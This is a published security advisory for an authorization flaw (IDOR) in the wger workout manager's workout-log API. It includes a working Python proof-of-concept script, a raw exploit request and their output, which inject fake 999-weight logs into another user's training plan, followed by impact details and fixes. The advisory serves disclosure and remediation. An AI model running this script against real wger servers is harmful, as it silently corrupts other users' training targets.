GHSA-rjpf-7pf5-q54x: Medium severity pip/wger vulnerability

Published Oct 7, 2026
·
Updated

Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slotentry ID in a POST /api/v2/workoutlog/ request. The slotentry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.getownerobjects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.getconfigdata() retrieves associated logs via self.workoutlogset.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's getownerobjects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.getownerobjects() returns:

python File: wger/manager/api/views.py, lines 312-316 def getownerobjects(self): return [(Routine, 'routine'), (WorkoutSession, 'session')] # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked # (SlotEntry, 'slotentry') is MISSING

Because slotentry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slotentry ID (which is never verified).

The second contributing factor is in SlotEntry.getconfigdata():

python File: wger/manager/models/slotentry.py, line 367 logs = list(self.workoutlogset.all()) # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

- Two authenticated user accounts (attacker and victim) - The attacker knows (or can enumerate) the victim's SlotEntry ID - The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/ Authorization: Token <attackertoken> Content-Type: application/json

{ "routine": <attackerroutineid>, "slotentry": <victimslotentryid>, "exercise": <anyvalidexerciseid>, "repetitions": 999, "weight": 999, "repetitionsunit": 1, "weightunit": 1, "date": "2025-01-15", "iteration": 1 }

Expected: HTTP 403 (the slotentry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

python #!/usr/bin/env python3 """ PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Target: wger Workout Manager Severity: CRITICAL - CVSS 7.1 CWE-639: Authorization Bypass Through User-Controlled Key

Usage: python3 poc.py http://localhost:8000 """

import requests import sys import json from datetime import date, timedelta

if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"

VICTIMUSER = "admin" VICTIMPASS = "adminadmin" ATTACKERUSER = "attackeridorpoc" ATTACKERPASS = "Attacker!Poc!2025"

BANNER = """ ===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER)

---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None

def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victimtoken = apilogin(VICTIMUSER, VICTIMPASS) if not victimtoken: print(f"[-] Cannot log in as victim ({VICTIMUSER}). Check credentials.") sys.exit(1) print(f" Victim ({VICTIMUSER}): token={victimtoken[:16]}...")

attackertoken = apilogin(ATTACKERUSER, ATTACKERPASS) if not attackertoken: print(f" Registering attacker account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKERUSER, "password": ATTACKERPASS, }) if r.statuscode in (200, 201): attackertoken = r.json().get("token") if not attackertoken: attackertoken = apilogin(ATTACKERUSER, ATTACKERPASS) if not attackertoken: print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}") sys.exit(1) print(f" Attacker ({ATTACKERUSER}): token={attackertoken[:16]}...")

---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = apiheaders(victimtoken) today = str(date.today()) enddate = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={ "name": "Victim Private Routine", "start": today, "end": enddate }) victimroutineid = r.json()["id"] print(f" Routine id={victimroutineid}")

r = requests.post(f"{API}/day/", headers=vh, json={ "routine": victimroutineid, "order": 1, "name": "Push Day" }) victimdayid = r.json()["id"] print(f" Day id={victimdayid}")

r = requests.post(f"{API}/slot/", headers=vh, json={ "day": victimdayid, "order": 1 }) victimslotid = r.json()["id"] print(f" Slot id={victimslotid}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh) exerciseid = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={ "slot": victimslotid, "exercise": exerciseid, "order": 1, "type": "normal" }) victimslotentryid = r.json()["id"] print(f" SlotEntry id={victimslotentryid} <-- TARGET")

---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = apiheaders(attackertoken)

r = requests.post(f"{API}/routine/", headers=ah, json={ "name": "Attacker Routine", "start": today, "end": enddate }) attackerroutineid = r.json()["id"] print(f" Attacker routine id={attackerroutineid}")

---- 4. ATTACK ----

print(f"\n{'='65}") print(f" ATTACK: Injecting fake WorkoutLog into victim's SlotEntry") print(f"{'='65}")

payload = { "routine": attackerroutineid, "slotentry": victimslotentryid, "exercise": exerciseid, "repetitions": 999, "weight": 999, "repetitionsunit": 1, "weightunit": 1, "date": today, "iteration": 1, }

print(f"\n POST {API}/workoutlog/") print(f" routine = {attackerroutineid} (attacker's own -> passes check)") print(f" slotentry = {victimslotentryid} (VICTIM's -> NOT CHECKED)") print(f" weight = 999") print(f" reps = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n Response: HTTP {r.statuscode}")

if r.statuscode == 201: d = r.json() print(f" Created WorkoutLog id={d['id']}") print(f" slotentry = {d['slotentry']} <- VICTIM's SlotEntry!") print(f" routine = {d['routine']} <- attacker's routine") print(f" weight = {d['weight']}") print(f" reps = {d['repetitions']}") elif r.statuscode == 403: print(" Access denied - NOT vulnerable (patched)") sys.exit(0) else: print(f" Unexpected: {r.text[:300]}") sys.exit(1)

---- 5. VERIFY ----

print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")

r = requests.get( f"{API}/routine/{victimroutineid}/date-sequence-display/", headers=vh, ) print(f"\n GET /api/v2/routine/{victimroutineid}/date-sequence-display/") print(f" (as victim - this endpoint consumes the injected logs)") print(f" HTTP {r.statuscode}")

if r.statuscode == 200: seq = r.json() print(f" Returned {len(seq)} day(s) of data") if seq: print(f" First entry (truncated):") print(f" {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh) victimlogs = r2.json().get("results", []) print(f"\n Victim's own /api/v2/workoutlog/ shows {len(victimlogs)} log(s)") print(f" (The injected log is owned by attacker, so it does NOT appear") print(f" in victim's list view - but it IS attached to victim's SlotEntry") print(f" and WILL corrupt victim's progression calculations.)")

print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | HTTP 201 accepted the cross-user slotentry reference. | | The attacker's fake log (weight=999, reps=999) is now | | linked to the victim's SlotEntry and will be included | | in getconfigdata() -> corrupting auto-progression. | +----------------------------------------------------------+ """)

Proof of Concept Output

===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key =====================================================================

[1] Authenticating users... Victim (admin): token=7e34da0a3f3f00a4... Registering attacker account... Attacker (attackeridorpoc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain... Routine id=3 Day id=2 Slot id=2 SlotEntry id=2 <-- TARGET

[3] Creating attacker's own routine... Attacker routine id=4

================================================================= ATTACK: Injecting fake WorkoutLog into victim's SlotEntry =================================================================

POST http://localhost/api/v2/workoutlog/ routine = 4 (attacker's own -> passes check) slotentry = 2 (VICTIM's -> NOT CHECKED) weight = 999 reps = 999

Response: HTTP 201 Created WorkoutLog id=2 slotentry = 2 <- VICTIM's SlotEntry! routine = 4 <- attacker's routine weight = 999.00 reps = 999.00

================================================================= VERIFICATION =================================================================

GET /api/v2/routine/3/date-sequence-display/ (as victim - this endpoint consumes the injected logs) HTTP 200 Returned 31 day(s) of data

Victim's own /api/v2/workoutlog/ shows 0 log(s) (The injected log is owned by attacker, so it does NOT appear in victim's list view - but it IS attached to victim's SlotEntry and WILL corrupt victim's progression calculations.)

+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | HTTP 201 accepted the cross-user slotentry reference. | | The attacker's fake log (weight=999, reps=999) is now | | linked to the victim's SlotEntry and will be included | | in getconfigdata() -> corrupting auto-progression. | +----------------------------------------------------------+

Impact

1. Training Data Integrity: The progressive-overload engine (getconfigdata) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

3. Scalable Attack: Because only a slotentry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slotentry to the ownership check

python File: wger/manager/api/views.py class WorkoutLogViewSet(WgerOwnerObjectModelViewSet): def getownerobjects(self): return [ (Routine, 'routine'), (WorkoutSession, 'session'), (SlotEntry, 'slotentry'), # ADD THIS ]

Defence-in-Depth - Filter logs by routine owner

python File: wger/manager/models/slotentry.py, line 367 logs = list(self.workoutlogset.filter( user=self.slot.day.routine.user ))

Affected Software

1 affected component
pip/wger<=2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Compensating control

    Update `WorkoutLogViewSet.get_owner_objects()` in `wger/manager/api/views.py` to include `(SlotEntry, 'slot_entry')` alongside the existing ownership checks, so a submitted `slot_entry` must belong to the authenticated user.

  2. Compensating control

    In `SlotEntry.get_config_data()` (`wger/manager/models/slot_entry.py`), filter `workoutlog_set` results by the owning routine user instead of retrieving all linked `WorkoutLog` rows, preventing cross-user logs from affecting progression calculations.

Event History

Oct 7, 2026
Advisory Published
via GitHub·01:59 PM
Data Sourced
via GitHub·01:59 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any authenticated user who can submit a POST request to /api/v2/workoutlog/ can exploit it. The attacker needs to know or supply another user's SlotEntry ID; no user interaction is required.

2

What is the impact on affected users?

An attacker can create arbitrary workout log entries associated with another user's SlotEntry. Those entries are included in the victim's progressive-overload calculations and can corrupt automatically generated weight and repetition targets.

3

Is this limited to reading or modifying the attacker's own data?

No. The ownership verification checks only foreign keys returned by WorkoutLogViewSet.get_owner_objects(), and slot_entry is not included in that list. As a result, the server accepts a cross-user slot_entry reference and persists it.

4

How can I determine whether exploitation may have occurred?

Review workout log entries for SlotEntry records that were created by a different authenticated user than the SlotEntry owner. Suspicious entries may also correspond to unexpected changes in progressive-overload weight or repetition targets.

5

What release information is available for remediation?

The provided references include the wger 2.6 release tag. The data does not state which versions are affected or explicitly identify the fixed version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203